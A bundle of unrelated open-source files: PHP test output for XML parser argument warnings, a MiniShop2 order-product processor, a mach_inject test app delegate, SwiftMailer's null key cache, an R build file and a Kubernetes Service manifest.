Arg value Array
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, array given in %s on line %d
NULL
Arg value Array
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, array given in %s on line %d
NULL
Arg value Array
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, array given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, null given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, null given in %s on line %d
NULL
Arg value 1
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, boolean given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, boolean given in %s on line %d
NULL
Arg value 1
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, boolean given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, boolean given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, string given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, string given in %s on line %d
NULL
Arg value string
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, string given in %s on line %d
NULL
Arg value string
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, string given in %s on line %d
NULL
Arg value Some Ascii Data
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, object given in %s on line %d
NULL
Arg value Resource id %s
Warning: xml_set_unparsed_entity_decl_handler(): supplied resource is not a valid XML Parser resource in %s on line %d
bool(false)
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, null given in %s on line %d
NULL
Arg value
Warning: xml_set_unparsed_entity_decl_handler() expects parameter 1 to be resource, null given in %s on line %d
NULL
Done
| {
"pile_set_name": "Github"
} |
<?php
class msOrderProductGetProcessor extends modObjectGetProcessor
{
public $classKey = 'msOrderProduct';
public $languageTopics = array('minishop2:default');
public $permission = 'msorder_view';
/**
* @return bool|null|string
*/
public function initialize()
{
if (!$this->modx->hasPermission($this->permission)) {
return $this->modx->lexicon('access_denied');
}
return parent::initialize();
}
/**
* @return array|string
*/
public function cleanup()
{
$array = $this->object->toArray('', true);
if ($tmp = json_decode($array['options'], true)) {
if (is_array($tmp)) {
if (PHP_VERSION_ID >= 50400) {
$array['options'] = json_encode($tmp, JSON_UNESCAPED_UNICODE);
} else {
$array['options'] = $this->my_json_encode($tmp);
}
}
}
if ($product = $this->object->getOne('Product')) {
$array = array_merge($product->toArray(), $array);
if (empty($array['name'])) {
$array['name'] = $array['pagetitle'];
}
}
return $this->success('', $array);
}
/**
* @param $arr
*
* @return string
*/
function my_json_encode($arr)
{
//convmap since 0x80 char codes so it takes all multibyte codes (above ASCII 127). So such characters are being "hidden" from normal json_encoding
array_walk_recursive($arr, function (&$item, $key) {
if (is_string($item)) {
$item = mb_encode_numericentity($item, array(0x80, 0xffff, 0, 0xffff), 'UTF-8');
}
});
return mb_decode_numericentity(json_encode($arr), array(0x80, 0xffff, 0, 0xffff), 'UTF-8');
}
}
return 'msOrderProductGetProcessor'; | {
"pile_set_name": "Github"
} |
#import "injectee-AppDelegate.h"
@interface NSObject (mach_inject_test_injector_app)
- (void)notifyInjectorReadyForInjection;
- (void)notifyInjectorSuccessfullyInjected;
@end
@implementation injectee_AppDelegate
- (void)applicationDidFinishLaunching:(NSNotification*)notification_ {
return;
id injector = [NSConnection rootProxyForConnectionWithRegisteredName:@"mach_inject_test_injector_app" host:nil];
printf("hi!!!\n");
assert( injector );
[injector notifyInjectorReadyForInjection];
}
- (void)notifyInjecteeSuccessfullyInjected {
return;
printf("OMG injected!!!\n");
id injector = [NSConnection rootProxyForConnectionWithRegisteredName:@"mach_inject_test_injector_app" host:nil];
assert( injector );
[injector notifyInjectorSuccessfullyInjected];
}
@end
| {
"pile_set_name": "Github"
} |
<?php
/*
* This file is part of SwiftMailer.
* (c) 2004-2009 Chris Corbyn
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/**
* A null KeyCache that does not cache at all.
*
* @author Chris Corbyn
*/
class Swift_KeyCache_NullKeyCache implements Swift_KeyCache
{
/**
* Set a string into the cache under $itemKey for the namespace $nsKey.
*
* @see MODE_WRITE, MODE_APPEND
*
* @param string $nsKey
* @param string $itemKey
* @param string $string
* @param int $mode
*/
public function setString($nsKey, $itemKey, $string, $mode)
{
}
/**
* Set a ByteStream into the cache under $itemKey for the namespace $nsKey.
*
* @see MODE_WRITE, MODE_APPEND
*
* @param string $nsKey
* @param string $itemKey
* @param Swift_OutputByteStream $os
* @param int $mode
*/
public function importFromByteStream($nsKey, $itemKey, Swift_OutputByteStream $os, $mode)
{
}
/**
* Provides a ByteStream which when written to, writes data to $itemKey.
*
* NOTE: The stream will always write in append mode.
*
* @param string $nsKey
* @param string $itemKey
* @param Swift_InputByteStream $writeThrough
*
* @return Swift_InputByteStream
*/
public function getInputByteStream($nsKey, $itemKey, Swift_InputByteStream $writeThrough = null)
{
}
/**
* Get data back out of the cache as a string.
*
* @param string $nsKey
* @param string $itemKey
*
* @return string
*/
public function getString($nsKey, $itemKey)
{
}
/**
* Get data back out of the cache as a ByteStream.
*
* @param string $nsKey
* @param string $itemKey
* @param Swift_InputByteStream $is to write the data to
*/
public function exportToByteStream($nsKey, $itemKey, Swift_InputByteStream $is)
{
}
/**
* Check if the given $itemKey exists in the namespace $nsKey.
*
* @param string $nsKey
* @param string $itemKey
*
* @return bool
*/
public function hasKey($nsKey, $itemKey)
{
return false;
}
/**
* Clear data for $itemKey in the namespace $nsKey if it exists.
*
* @param string $nsKey
* @param string $itemKey
*/
public function clearKey($nsKey, $itemKey)
{
}
/**
* Clear all data in the namespace $nsKey if it exists.
*
* @param string $nsKey
*/
public function clearAll($nsKey)
{
}
}
| {
"pile_set_name": "Github"
} |
CXX_STD=CXX11
PKG_CPPFLAGS=-DEIGEN_PERMANENTLY_DISABLE_STUPID_WARNINGS
# no openmp, since thread model is different, and is likely to be much slower,
# although perhaps Eigen is clever enough to account for this.
| {
"pile_set_name": "Github"
} |
apiVersion: v1
kind: Service
metadata:
name: hello
spec:
selector:
app: hello
tier: backend
ports:
- protocol: TCP
port: 80
targetPort: http
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.